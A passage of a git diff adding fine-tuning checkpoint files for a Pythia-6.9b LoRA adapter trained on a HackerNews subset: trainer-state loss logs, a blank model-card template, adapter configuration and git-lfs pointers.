"step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.193035993088e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..e4f68455b6f2926c759e0f2ff3f65b638fa7a769 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fd67125a99e2c7e8f8d612e5d6373fa0b94194281909917b00985acbeb161fb5 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..4f1b6af65253d7b7f64d316fe14d9404cd48d7a5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6daf8de754c7950e12ea7bfd116dca28ab7985b0da4dc1f9607db46cbc861194 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..52b85f2bd42c764f793cd9aa8382577ad1b51617 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:156b16fe2af6b1592b431fe36919ba4914ab9e672f318f884f5045be66654277 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..a5298f7a45852e72ab3264eef95969ac26ee5012 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:14a2456b0fb437e597f1bc67f02d12ea64caadba3ce80e5a7bba56290d13a10e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..2387f74aad9dcb0149547b7ecf6866dffd649947 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/trainer_state.json @@ -0,0 +1,798 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.8, + "eval_steps": 10, + "global_step": 510, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + 